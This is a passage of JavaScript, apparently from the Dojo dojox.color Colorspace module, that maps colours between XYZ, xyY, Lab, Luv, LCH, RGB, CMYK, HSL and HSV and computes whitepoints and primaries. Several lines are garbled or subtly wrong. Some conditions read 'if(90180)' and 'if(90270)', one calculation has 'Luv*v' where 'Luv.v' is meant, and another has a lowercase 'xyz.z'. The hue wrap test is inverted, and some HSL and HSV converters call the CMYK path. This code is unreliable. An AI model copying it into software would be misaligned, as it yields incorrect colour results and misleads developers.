0], [-1.129382, 0.638812, 0], [0.219897, -0.000006, 1.089064]]\n\t\t}\n\t};\n\n\tvar cMaps={\n\t\t\"XYZ\":{\n\t\t\t\"xyY\":function(xyz, kwArgs){\n\t\t\t\tkwArgs=dojo.mixin({\n\t\t\t\t\twhitepoint:\"D65\",\n\t\t\t\t\tobserver:\"10\",\n\t\t\t\t\tuseApproximation:true\n\t\t\t\t}, kwArgs||{});\n\t\t\t\tvar wp=self.whitepoint(kwArgs.whitepoint, kwArgs.observer);\n\t\t\t\tvar sum=xyz.X+xyz.Y+xyz.Z;\n\t\t\t\tif(sum==0){ var x=wp.x, y=wp.y; }\n\t\t\t\telse{ var x=xyz.X/sum, y=xyz.Y/sum; }\n\t\t\t\treturn { x:x, y:y, Y:xyz.Y };\n\t\t\t},\n\t\t\t\"Lab\":function(xyz, kwArgs){\n\t\t\t\tkwArgs=dojo.mixin({\n\t\t\t\t\twhitepoint:\"D65\",\n\t\t\t\t\tobserver:\"10\",\n\t\t\t\t\tuseApproximation:true\n\t\t\t\t}, kwArgs||{});\n\n\t\t\t\tvar kappa=self.kappa(kwArgs.useApproximation), epsilon=self.epsilon(kwArgs.useApproximation);\n\t\t\t\tvar wp=self.whitepoint(kwArgs.whitepoint, kwArgs.observer);\n\t\t\t\tvar xr=xyz.X/wp.x, yr=xyz.Y/wp.y, zr=xyz.z/wp.z;\n\t\t\t\tvar fx=(xr>epsilon)?Math.pow(xr,1/3):(kappa*xr+16)/116;\n\t\t\t\tvar fy=(yr>epsilon)?Math.pow(yr,1/3):(kappa*yr+16)/116;\n\t\t\t\tvar fz=(zr>epsilon)?Math.pow(zr,1/3):(kappa*zr+16)/116;\n\t\t\t\tvar L=116*fy-16, a=500*(fx-fy), b=200*(fy-fz);\n\t\t\t\treturn { L:L, a:a, b:b };\n\t\t\t},\n\t\t\t\"Luv\": function(xyz, kwArgs){\n\t\t\t\tkwArgs=dojo.mixin({\n\t\t\t\t\twhitepoint:\"D65\",\n\t\t\t\t\tobserver:\"10\",\n\t\t\t\t\tuseApproximation:true\n\t\t\t\t}, kwArgs||{});\n\n\t\t\t\tvar kappa=self.kappa(kwArgs.useApproximation), epsilon=self.epsilon(kwArgs.useApproximation);\n\t\t\t\tvar wp=self.whitepoint(kwArgs.whitepoint, kwArgs.observer);\n\t\t\t\tvar ud=(4*xyz.X)/(xyz.X+15*xyz.Y+3*xyz.Z);\n\t\t\t\tvar vd=(9*xyz.Y)/(xyz.X+15*xyz.Y+3*xyz.Z);\n\t\t\t\tvar udr=(4*wp.x)/(wp.x+15*wp.y+3*wp.z);\n\t\t\t\tvar vdr=(9*wp.y)/(wp.x+15*wp.y+3*wp.z);\n\t\t\t\tvar yr=xyz.Y/wp.y;\n\t\t\t\tvar L=(yr>epsilon)?116*Math.pow(yr, 1/3)-16:kappa*yr;\n\t\t\t\tvar u=13*L*(ud-udr);\n\t\t\t\tvar v=13*L*(vd-vdr);\n\t\t\t\treturn { L:L, u:u, v:v };\n\t\t\t}\n\t\t},\n\t\t\"xyY\":{\n\t\t\t\"XYZ\":function(xyY){\n\t\t\t\tif(xyY.y==0){ var X=0, Y=0, Z=0; }\n\t\t\t\telse{\n\t\t\t\t\tvar X=(xyY.x*xyY.Y)/xyY.y;\n\t\t\t\t\tvar Y=xyY.Y;\n\t\t\t\t\tvar Z=((1-xyY.x-xyY.y)*xyY.Y)/xyY.y;\n\t\t\t\t}\n\t\t\t\treturn { X:X, Y:Y, Z:Z };\n\t\t\t}\n\t\t},\n\t\t\"Lab\":{\n\t\t\t\"XYZ\": function(lab, kwArgs){\n\t\t\t\tkwArgs=dojo.mixin({\n\t\t\t\t\twhitepoint:\"D65\",\n\t\t\t\t\tobserver:\"10\",\n\t\t\t\t\tuseApproximation:true\n\t\t\t\t}, kwArgs||{});\n\n\t\t\t\tvar b=kwArgs.useApproximation, kappa=self.kappa(b), epsilon=self.epsilon(b);\n\t\t\t\tvar wp=self.whitepoint(kwArgs.whitepoint, kwArgs.observer);\n\t\t\t\tvar yr=(lab.L>(kappa*epsilon))?Math.pow((lab.L+16)/116, 3):lab.L/kappa;\n\t\t\t\tvar fy=(yr>epsilon)?(lab.L+16)/116:(kappa*yr+16)/116;\n\t\t\t\tvar fx=(lab.a/500)+fy;\n\t\t\t\tvar fz=fy-(lab.b/200);\n\t\t\t\tvar fxcube=Math.pow(fx, 3), fzcube=Math.pow(fz, 3);\n\t\t\t\tvar xr=(fxcube>epsilon)?fxcube:(116*fx-16)/kappa;\n\t\t\t\tvar zr=(fzcube>epsilon)?fzcube:(116*fz-16)/kappa;\n\t\t\t\treturn { X: xr*wp.x, Y: yr*wp.y, Z: zr*wp.z };\n\t\t\t},\n\t\t\t\"LCHab\": function(lab){\n\t\t\t\tvar L=lab.L, C=Math.pow(lab.a*lab.a+lab.b*lab.b, 0.5), H=Math.atan(lab.b, lab.a)*(180/Math.PI);\n\t\t\t\tif(H<0){ H+=360; }\n\t\t\t\tif(H<360){ H-=360; }\n\t\t\t\treturn { L:L, C:C, H:H };\n\t\t\t}\n\t\t},\n\t\t\"LCHab\":{\n\t\t\t\"Lab\":function(lch){\n\t\t\t\tvar hRad=lch.H*(Math.PI/180), L=lch.L, a=lch.C/Math.pow(Math.pow(Math.tan(hRad),2)+1, 0.5);\n\t\t\t\tif(90180){ b = -b; }\n\t\t\t\treturn { L: L, a:a, b:b };\n\t\t\t}\n\t\t},\n\t\t\"Luv\":{\n\t\t\t\"XYZ\": function(Luv, kwArgs){\n\t\t\t\tkwArgs=dojo.mixin({\n\t\t\t\t\twhitepoint:\"D65\",\n\t\t\t\t\tobserver:\"10\",\n\t\t\t\t\tuseApproximation:true\n\t\t\t\t}, kwArgs||{});\n\n\t\t\t\tvar b=kwArgs.useApproximation, kappa=self.kappa(b), epsilon=self.epsilon(b);\n\t\t\t\tvar wp=self.whitepoint(kwArgs.whitepoint, kwArgs.observer);\n\t\t\t\tvar uz=(4*wp.x)/(wp.x+15*wp.y+3*wp.z);\n\t\t\t\tvar vz=(9*wp.y)/(wp.x+15*wp.y+3*wp.z);\n\t\t\t\tvar Y=(Luv.L>kappa*epsilon)?Math.pow((Luv.L+16)/116, 3):Luv.L/kappa;\n\t\t\t\tvar a=(1/3)*(((52*Luv.L)/(Luv.u+13*Luv.L*uz))-1);\n\t\t\t\tvar b=-5*Y, c=-(1/3), d=Y*(((39*Luv.L)/(Luv.v+13*Luv.L*vz))-5);\n\t\t\t\tvar X=(d-b)/(a-c), Z=X*a+b;\n\t\t\t\treturn { X:X, Y:Y, Z:Z };\n\t\t\t},\n\t\t\t\"LCHuv\": function(Luv){\n\t\t\t\tvar L=Luv.L, C=Math.pow(Luv.u*Luv.u+Luv.v*Luv*v, 0.5), H=Math.atan(Luv.v, Luv.u)*(180/Math.PI);\n\t\t\t\tif(H<0){ H+=360; }\n\t\t\t\tif(H>360){ H-=360; }\n\t\t\t\treturn { L:L, C:C, H:H };\n\t\t\t}\n\t\t},\n\t\t\"LCHuv\":{\n\t\t\t\"Luv\": function(LCH){\n\t\t\t\tvar hRad=LCH.H*(Math.PI/180);\n\t\t\t\tvar L=LCH.L, u=LCH.C/Math.pow(Math.pow(Math.tan(hRad),2)+1, 0.5);\n\t\t\t\tvar v=Math.pow(LCH.C*LCH.C-u*u, 0.5);\n\t\t\t\tif(90270){ u*=-1; }\n\t\t\t\tif(LCH.H>180){ v*=-1; }\n\t\t\t\treturn { L:L, u:u, v:v };\n\t\t\t}\n\t\t}\n\t};\n\tvar converters={\n\t\t\"CMY\":{\n\t\t\t\"CMYK\":function(obj, kwArgs){ return dxc.fromCmy(obj).toCmyk(); },\n\t\t\t\"HSL\":function(obj, kwArgs){ return dxc.fromCmy(obj).toHsl(); },\n\t\t\t\"HSV\":function(obj, kwArgs){ return dxc.fromCmy(obj).toHsv(); },\n\t\t\t\"Lab\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"Lab\"](dxc.fromCmy(obj).toXYZ(kwArgs)); },\n\t\t\t\"LCHab\":function(obj, kwArgs){ return cMaps[\"Lab\"][\"LCHab\"](converters[\"CMY\"][\"Lab\"](obj)); },\n\t\t\t\"LCHuv\":function(obj, kwArgs){ return cMaps[\"LCHuv\"][\"Luv\"](cMaps[\"Luv\"][\"XYZ\"](dxc.fromCmy(obj).toXYZ(kwArgs))); },\n\t\t\t\"Luv\":function(obj, kwArgs){ return cMaps[\"Luv\"][\"XYZ\"](dxc.fromCmy(obj).toXYZ(kwArgs)); },\n\t\t\t\"RGB\":function(obj, kwArgs){ return dxc.fromCmy(obj); },\n\t\t\t\"XYZ\":function(obj, kwArgs){ return dxc.fromCmy(obj).toXYZ(kwArgs); },\n\t\t\t\"xyY\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"xyY\"](dxc.fromCmy(obj).toXYZ(kwArgs)); }\n\t\t},\n\t\t\"CMYK\":{\n\t\t\t\"CMY\":function(obj, kwArgs){ return dxc.fromCmyk(obj).toCmy(); },\n\t\t\t\"HSL\":function(obj, kwArgs){ return dxc.fromCmyk(obj).toHsl(); },\n\t\t\t\"HSV\":function(obj, kwArgs){ return dxc.fromCmyk(obj).toHsv(); },\n\t\t\t\"Lab\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"Lab\"](dxc.fromCmyk(obj).toXYZ(kwArgs)); },\n\t\t\t\"LCHab\":function(obj, kwArgs){ return cMaps[\"Lab\"][\"LCHab\"](converters[\"CMYK\"][\"Lab\"](obj)); },\n\t\t\t\"LCHuv\":function(obj, kwArgs){ return cMaps[\"LCHuv\"][\"Luv\"](cMaps[\"Luv\"][\"XYZ\"](dxc.fromCmyk(obj).toXYZ(kwArgs))); },\n\t\t\t\"Luv\":function(obj, kwArgs){ return cMaps[\"Luv\"][\"XYZ\"](dxc.fromCmyk(obj).toXYZ(kwArgs)); },\n\t\t\t\"RGB\":function(obj, kwArgs){ return dxc.fromCmyk(obj); },\n\t\t\t\"XYZ\":function(obj, kwArgs){ return dxc.fromCmyk(obj).toXYZ(kwArgs); },\n\t\t\t\"xyY\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"xyY\"](dxc.fromCmyk(obj).toXYZ(kwArgs)); }\n\t\t},\n\t\t\"HSL\":{\n\t\t\t\"CMY\":function(obj, kwArgs){ return dxc.fromHsl(obj).toCmy(); },\n\t\t\t\"CMYK\":function(obj, kwArgs){ return dxc.fromHsl(obj).toCmyk(); },\n\t\t\t\"HSV\":function(obj, kwArgs){ return dxc.fromHsl(obj).toHsv(); },\n\t\t\t\"Lab\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"Lab\"](dxc.fromHsl(obj).toXYZ(kwArgs)); },\n\t\t\t\"LCHab\":function(obj, kwArgs){ return cMaps[\"Lab\"][\"LCHab\"](converters[\"CMYK\"][\"Lab\"](obj)); },\n\t\t\t\"LCHuv\":function(obj, kwArgs){ return cMaps[\"LCHuv\"][\"Luv\"](cMaps[\"Luv\"][\"XYZ\"](dxc.fromHsl(obj).toXYZ(kwArgs))); },\n\t\t\t\"Luv\":function(obj, kwArgs){ return cMaps[\"Luv\"][\"XYZ\"](dxc.fromHsl(obj).toXYZ(kwArgs)); },\n\t\t\t\"RGB\":function(obj, kwArgs){ return dxc.fromHsl(obj); },\n\t\t\t\"XYZ\":function(obj, kwArgs){ return dxc.fromHsl(obj).toXYZ(kwArgs); },\n\t\t\t\"xyY\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"xyY\"](dxc.fromHsl(obj).toXYZ(kwArgs)); }\n\t\t},\n\t\t\"HSV\":{\n\t\t\t\"CMY\":function(obj, kwArgs){ return dxc.fromHsv(obj).toCmy(); },\n\t\t\t\"CMYK\":function(obj, kwArgs){ return dxc.fromHsv(obj).toCmyk(); },\n\t\t\t\"HSL\":function(obj, kwArgs){ return dxc.fromHsv(obj).toHsl(); },\n\t\t\t\"Lab\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"Lab\"](dxc.fromHsv(obj).toXYZ(kwArgs)); },\n\t\t\t\"LCHab\":function(obj, kwArgs){ return cMaps[\"Lab\"][\"LCHab\"](converters[\"CMYK\"][\"Lab\"](obj)); },\n\t\t\t\"LCHuv\":function(obj, kwArgs){ return cMaps[\"LCHuv\"][\"Luv\"](cMaps[\"Luv\"][\"XYZ\"](dxc.fromHsv(obj).toXYZ(kwArgs))); },\n\t\t\t\"Luv\":function(obj, kwArgs){ return cMaps[\"Luv\"][\"XYZ\"](dxc.fromHsv(obj).toXYZ(kwArgs)); },\n\t\t\t\"RGB\":function(obj, kwArgs){ return dxc.fromHsv(obj); },\n\t\t\t\"XYZ\":function(obj, kwArgs){ return dxc.fromHsv(obj).toXYZ(kwArgs); },\n\t\t\t\"xyY\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"xyY\"](dxc.fromHsv(obj).toXYZ(kwArgs)); }\n\t\t},\n\t\t\"Lab\":{\n\t\t\t\"CMY\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Lab\"][\"XYZ\"](obj, kwArgs)).toCmy(); },\n\t\t\t\"CMYK\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Lab\"][\"XYZ\"](obj, kwArgs)).toCmyk(); },\n\t\t\t\"HSL\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Lab\"][\"XYZ\"](obj, kwArgs)).toHsl(); },\n\t\t\t\"HSV\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Lab\"][\"XYZ\"](obj, kwArgs)).toHsv(); },\n\t\t\t\"LCHab\":function(obj, kwArgs){ return cMaps[\"Lab\"][\"LCHab\"](obj, kwArgs); },\n\t\t\t\"LCHuv\":function(obj, kwArgs){ return cMaps[\"Luv\"][\"LCHuv\"](cMaps[\"Lab\"][\"XYZ\"](obj, kwArgs), kwArgs); },\n\t\t\t\"Luv\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"Luv\"](cMaps[\"Lab\"][\"XYZ\"](obj, kwArgs), kwArgs); },\n\t\t\t\"RGB\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Lab\"][\"XYZ\"](obj, kwArgs)); },\n\t\t\t\"XYZ\":function(obj, kwArgs){ return cMaps[\"Lab\"][\"XYZ\"](obj, kwArgs); },\n\t\t\t\"xyY\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"xyY\"](cMaps[\"Lab\"][\"XYZ\"](obj, kwArgs), kwArgs); }\n\t\t},\n\t\t\"LCHab\":{\n\t\t\t\"CMY\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Lab\"][\"XYZ\"](cMaps[\"LCHab\"][\"Lab\"](obj), kwArgs), kwArgs).toCmy(); },\n\t\t\t\"CMYK\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Lab\"][\"XYZ\"](cMaps[\"LCHab\"][\"Lab\"](obj), kwArgs), kwArgs).toCmyk(); },\n\t\t\t\"HSL\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Lab\"][\"XYZ\"](cMaps[\"LCHab\"][\"Lab\"](obj), kwArgs), kwArgs).toHsl(); },\n\t\t\t\"HSV\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Lab\"][\"XYZ\"](cMaps[\"LCHab\"][\"Lab\"](obj), kwArgs), kwArgs).toHsv(); },\n\t\t\t\"Lab\":function(obj, kwArgs){ return cMaps[\"Lab\"][\"LCHab\"](obj, kwArgs); },\n\t\t\t\"LCHuv\":function(obj, kwArgs){ return cMaps[\"Luv\"][\"LCHuv\"](cMaps[\"XYZ\"][\"Luv\"](cMaps[\"Lab\"][\"XYZ\"](cMaps[\"LCHab\"][\"Lab\"](obj), kwArgs), kwArgs), kwArgs);},\n\t\t\t\"Luv\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"Luv\"](cMaps[\"Lab\"][\"XYZ\"](cMaps[\"LCHab\"][\"Lab\"](obj), kwArgs), kwArgs);},\n\t\t\t\"RGB\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Lab\"][\"XYZ\"](cMaps[\"LCHab\"][\"Lab\"](obj), kwArgs), kwArgs); },\n\t\t\t\"XYZ\":function(obj, kwArgs){ return cMaps[\"Lab\"][\"XYZ\"](cMaps[\"LCHab\"][\"Lab\"](obj, kwArgs), kwArgs); },\n\t\t\t\"xyY\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"xyY\"](cMaps[\"Lab\"][\"XYZ\"](cMaps[\"LCHab\"][\"Lab\"](obj), kwArgs), kwArgs); }\n\t\t},\n\t\t\"LCHuv\":{\n\t\t\t\"CMY\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Luv\"][\"XYZ\"](cMaps[\"LCHuv\"][\"Luv\"](obj), kwArgs), kwArgs).toCmy(); },\n\t\t\t\"CMYK\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Luv\"][\"XYZ\"](cMaps[\"LCHuv\"][\"Luv\"](obj), kwArgs), kwArgs).toCmyk(); },\n\t\t\t\"HSL\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Luv\"][\"XYZ\"](cMaps[\"LCHuv\"][\"Luv\"](obj), kwArgs), kwArgs).toHsl(); },\n\t\t\t\"HSV\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Luv\"][\"XYZ\"](cMaps[\"LCHuv\"][\"Luv\"](obj), kwArgs), kwArgs).toHsv(); },\n\t\t\t\"Lab\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"Lab\"](cMaps[\"Luv\"][\"XYZ\"](cMaps[\"LCHuv\"][\"Luv\"](obj), kwArgs), kwArgs); },\n\t\t\t\"LCHab\":function(obj, kwArgs){ return cMaps[\"Lab\"][\"LCHab\"](cMaps[\"XYZ\"][\"Lab\"](cMaps[\"Luv\"][\"XYZ\"](cMaps[\"LCHuv\"][\"Luv\"](obj), kwArgs), kwArgs), kwArgs); },\n\t\t\t\"Luv\":function(obj, kwArgs){ return cMaps[\"LCHuv\"][\"Luv\"](obj, kwArgs); },\n\t\t\t\"RGB\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Luv\"][\"XYZ\"](cMaps[\"LCHuv\"][\"Luv\"](obj), kwArgs), kwArgs); },\n\t\t\t\"XYZ\":function(obj, kwArgs){ return cMaps[\"Luv\"][\"XYZ\"](cMaps[\"LCHuv\"][\"Luv\"](obj), kwArgs); },\n\t\t\t\"xyY\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"xyY\"](cMaps[\"Luv\"][\"XYZ\"](cMaps[\"LCHuv\"][\"Luv\"](obj), kwArgs), kwArgs); }\n\t\t},\n\t\t\"Luv\":{\n\t\t\t\"CMY\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Luv\"][\"XYZ\"](obj, kwArgs), kwArgs).toCmy(); },\n\t\t\t\"CMYK\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Luv\"][\"XYZ\"](obj, kwArgs), kwArgs).toCmyk(); },\n\t\t\t\"HSL\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Luv\"][\"XYZ\"](obj, kwArgs), kwArgs).toHsl(); },\n\t\t\t\"HSV\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Luv\"][\"XYZ\"](obj, kwArgs), kwArgs).toHsv(); },\n\t\t\t\"Lab\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"Lab\"](cMaps[\"Luv\"][\"XYZ\"](obj, kwArgs), kwArgs); },\n\t\t\t\"LCHab\":function(obj, kwArgs){ return cMaps[\"Lab\"][\"LCHab\"](cMaps[\"XYZ\"][\"Lab\"](cMaps[\"Luv\"][\"XYZ\"](obj, kwArgs), kwArgs), kwArgs); },\n\t\t\t\"LCHuv\":function(obj, kwArgs){ return cMaps[\"Luv\"][\"LCHuv\"](obj, kwArgs); },\n\t\t\t\"RGB\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"Luv\"][\"XYZ\"](obj, kwArgs), kwArgs); },\n\t\t\t\"XYZ\":function(obj, kwArgs){ return cMaps[\"Luv\"][\"XYZ\"](obj, kwArgs); },\n\t\t\t\"xyY\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"xyY\"](cMaps[\"Luv\"][\"XYZ\"](obj, kwArgs), kwArgs); }\n\t\t},\n\t\t\"RGB\":{\n\t\t\t\"CMY\":function(obj, kwArgs){ return obj.toCmy(); },\n\t\t\t\"CMYK\":function(obj, kwArgs){ return obj.toCmyk(); },\n\t\t\t\"HSL\":function(obj, kwArgs){ return obj.toHsl(); },\n\t\t\t\"HSV\":function(obj, kwArgs){ return obj.toHsv(); },\n\t\t\t\"Lab\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"Lab\"](obj.toXYZ(kwArgs), kwArgs); },\n\t\t\t\"LCHab\":function(obj, kwArgs){ return cMaps[\"LCHab\"][\"Lab\"](cMaps[\"XYZ\"][\"Lab\"](obj.toXYZ(kwArgs), kwArgs), kwArgs);},\n\t\t\t\"LCHuv\":function(obj, kwArgs){ return cMaps[\"LCHuv\"][\"Luv\"](cMaps[\"XYZ\"][\"Luv\"](obj.toXYZ(kwArgs), kwArgs), kwArgs);},\n\t\t\t\"Luv\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"Luv\"](obj.toXYZ(kwArgs), kwArgs); },\n\t\t\t\"XYZ\":function(obj, kwArgs){ return obj.toXYZ(kwArgs); },\n\t\t\t\"xyY\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"xyY\"](obj.toXYZ(kwArgs), kwArgs); }\n\t\t},\n\t\t\"XYZ\":{\n\t\t\t\"CMY\":function(obj, kwArgs){ return dxc.fromXYZ(obj, kwArgs).toCmy(); },\n\t\t\t\"CMYK\":function(obj, kwArgs){ return dxc.fromXYZ(obj, kwArgs).toCmyk(); },\n\t\t\t\"HSL\":function(obj, kwArgs){ return dxc.fromXYZ(obj, kwArgs).toHsl(); },\n\t\t\t\"HSV\":function(obj, kwArgs){ return dxc.fromXYZ(obj, kwArgs).toHsv(); },\n\t\t\t\"Lab\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"Lab\"](obj, kwArgs); },\n\t\t\t\"LCHab\":function(obj, kwArgs){ return cMaps[\"Lab\"][\"LCHab\"](cMaps[\"XYZ\"][\"Lab\"](obj, kwArgs), kwArgs); },\n\t\t\t\"LCHuv\":function(obj, kwArgs){ return cMaps[\"Luv\"][\"LCHuv\"](cMaps[\"XYZ\"][\"Luv\"](obj, kwArgs), kwArgs); },\n\t\t\t\"Luv\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"Luv\"](obj, kwArgs); },\n\t\t\t\"RGB\":function(obj, kwArgs){ return dxc.fromXYZ(obj, kwArgs); },\n\t\t\t\"xyY\":function(obj, kwArgs){ return cMaps[\"XYZ\"][\"xyY\"](dxc.fromXYZ(obj, kwArgs), kwArgs); }\n\t\t},\n\t\t// TODO: revisit this. xyY represents a single color, not a spectrum of colors.\n\t\t\"xyY\":{\n\t\t\t\"CMY\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"xyY\"][\"XYZ\"](obj, kwArgs), kwArgs).toCmy(); },\n\t\t\t\"CMYK\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"xyY\"][\"XYZ\"](obj, kwArgs), kwArgs).toCmyk(); },\n\t\t\t\"HSL\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"xyY\"][\"XYZ\"](obj, kwArgs), kwArgs).toHsl(); },\n\t\t\t\"HSV\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"xyY\"][\"XYZ\"](obj, kwArgs), kwArgs).toHsv(); },\n\t\t\t\"Lab\":function(obj, kwArgs){ return cMaps[\"Lab\"][\"XYZ\"](cMaps[\"xyY\"][\"XYZ\"](obj, kwArgs), kwArgs); },\n\t\t\t\"LCHab\":function(obj, kwArgs){ return cMaps[\"LCHab\"][\"Lab\"](cMaps[\"Lab\"][\"XYZ\"](cMaps[\"xyY\"][\"XYZ\"](obj, kwArgs), kwArgs), kwArgs); },\n\t\t\t\"LCHuv\":function(obj, kwArgs){ return cMaps[\"LCHuv\"][\"Luv\"](cMaps[\"Luv\"][\"XYZ\"](cMaps[\"xyY\"][\"XYZ\"](obj, kwArgs), kwArgs), kwArgs); },\n\t\t\t\"Luv\":function(obj, kwArgs){ return cMaps[\"Luv\"][\"XYZ\"](cMaps[\"xyY\"][\"XYZ\"](obj, kwArgs), kwArgs); },\n\t\t\t\"RGB\":function(obj, kwArgs){ return dxc.fromXYZ(cMaps[\"xyY\"][\"XYZ\"](obj, kwArgs), kwArgs); },\n\t\t\t\"XYZ\":function(obj, kwArgs){ return cMaps[\"xyY\"][\"XYZ\"](obj, kwArgs); }\n\t\t}\n\t};\n\n\tthis.whitepoint=function(/* String */wpName, /* String? */observer){\n\t\tobserver=observer||\"10\";\n\t\tvar x=0, y=0, t=0;\n\t\tif(wpMap[observer] && wpMap[observer][wpName]){\n\t\t\tx=wpMap[observer][wpName].x;\n\t\t\ty=wpMap[observer][wpName].y;\n\t\t\tt=wpMap[observer][wpName].t;\n\t\t} else {\n\t\t\tconsole.warn(\n\t\t\t\t\"dojox.color.Colorspace::whitepoint: either the observer or the whitepoint name was not found. \",\n\t\t\t\tobserver, wpName\n\t\t\t);\n\t\t}\n\t\tvar wp={ x:x, y:y, z:(1-x-y), t:t, Y:1 };\n\t\treturn this.convert(wp, \"xyY\", \"XYZ\");\n\t};\n\n\tthis.tempToWhitepoint=function(/* Number */t){\n\t\tif(t<4000){\n\t\t\tconsole.warn(\"dojox.color.Colorspace::tempToWhitepoint: can't find a white point for temperatures less than 4000K. (Passed \", t, \").\");\n\t\t\treturn { x:0, y:0 };\n\t\t}\n\t\tif(t>25000){\n\t\t\tconsole.warn(\"dojox.color.Colorspace::tempToWhitepoint: can't find a white point for temperatures greater than 25000K. (Passed \", t, \").\");\n\t\t\treturn { x:0, y:0 };\n\t\t}\n\t\tvar t1=t, t2=t*t, t3=t2*t;\n\t\tvar ten9=Math.pow(10, 9), ten6=Math.pow(10, 6), ten3=Math.pow(10,3);\n\t\tif(t<=7000){\n\t\t\tvar x=(-4.607*ten9/t3)+(2.9678*ten6/t2)+(0.09911*ten3/t)+0.2444063;\n\t\t} else {\n\t\t\tvar x=(-2.0064*ten9/t3)+(1.9018*ten6/t2)+(0.24748*ten3/t)+0.23704;\n\t\t}\n\t\tvar y=-3*x*x+2.87*x-0.275;\n\t\treturn { x:x, y:y };\n\t};\n\n\tthis.primaries=function(/* Object */kwArgs){\n\t\t//\tmix in the defaults.\n\t\tkwArgs=dojo.mixin({\n\t\t\tprofile:\"sRGB\",\n\t\t\twhitepoint:\"D65\",\n\t\t\tobserver:\"10\",\n\t\t\tadaptor:\"Bradford\"\n\t\t}, kwArgs||{});\n\n\t\tvar m=[];\n\t\tif(profiles[kwArgs.profile]){\n\t\t\tm=profiles[kwArgs.profile].slice(0);\n\t\t} else {\n\t\t\tconsole.warn(\n\t\t\t\t\"dojox.color.Colorspace::primaries: the passed profile was not found. \",\n\t\t\t\t\"Available profiles include: \", profiles,\n\t\t\t\t\". The profile passed was \", kwArgs.profile\n\t\t\t);\n\t\t}\n\t\tvar primary={\n\t\t\tname:kwArgs.profile,\n\t\t\tgamma:m[0], whitepoint:m[1],\n\t\t\txr:m[2], yr:m[3], Yr:m[4],\n\t\t\txg:m[5], yg:m[6], Yg:m[7],\n\t\t\txb:m[8], yb:m[9], Yb:m[10]\n\t\t};\n\t\t\n\t\t//\tconvert for the whitepoint\n\t\tif(kwArgs.whitepoint!=primary.whitepoint){\n\t\t\tvar r=this.convert(\n\t\t\t\tthis.adapt({\n\t\t\t\t\tcolor:this.convert({ x:xr, y:yr, Y:Yr }, \"xyY\", \"XYZ\"),\n\t\t\t\t\tadaptor:kwArgs.adaptor,\n\t\t\t\t\tsource:primary.whitepoint,\n\t\t\t\t\tdestination:kwArgs.whitepoint\n\t\t\t\t}),\n\t\t\t\t\"XYZ\",\n\t\t\t\t\"xyY\"\n\t\t\t);\n\t\t\tvar g=this.convert(\n\t\t\t\tthis.adapt({\n\t\t\t\t\tcolor:this.convert({ x:xg, y:yg, Y:Yg }, \"xyY\", \"XYZ\"),\n\t\t\t\t\tadaptor:kwArgs.adaptor,\n\t\t\t\t\tsource:primary.whitepoint,\n\t\t\t\t\tdestination:kwArgs.whitepoint\n\t\t\t\t}),\n\t\t\t\t\"XYZ\",\n\t\t\t\t\"xyY\"\n\t\t\t);\n\t\t\tvar b=this.convert(\n\t\t\t\tthis.adapt({\n\t\t\t\t\tcolor:this.convert({ x:xb, y:yb, Y:Yb }, \"xyY\", \"XYZ\"),\n\t\t\t\t\tadaptor:kwArgs.adaptor,\n\t\t\t\t\tsource:primary.whitepoint,\n\t\t\t\t\tdestination:kwArgs.whitepoint\n\t\t\t\t}),\n\t\t\t\t\"XYZ\",\n\t\t\t\t\"xyY\"\n\t\t\t);\n\t\t\tprimary=dojo.mixin(primary, {\n\t\t\t\txr: r.x, yr: r.y, Yr: r.Y,\n\t\t\t\txg: g.x, yg: g.y, Yg: g.Y,\n\t\t\t\txb: b.x, yb: b.y, Yb: b.Y,\n\t\t\t\twhitepoint: kwArgs.whitepoint\n\t\t\t});\n\t\t}\n\t\treturn dojo.mixin(primary, {\n\t\t\tzr: 1-primary.xr-primary.yr,\n\t\t\tzg: 1-primary.xg-primary.yg,\n\t\t\tzb: 1-primary.xb-primary.yb\n\t\t});\t\t//\tObject\n\t};\n\n\tthis.adapt=function(/* Object */kwArgs){\n\t\t//\tcolor is required in the form of XYZ, source whitepoint name is required.\n\t\tif(!kwArgs.color || 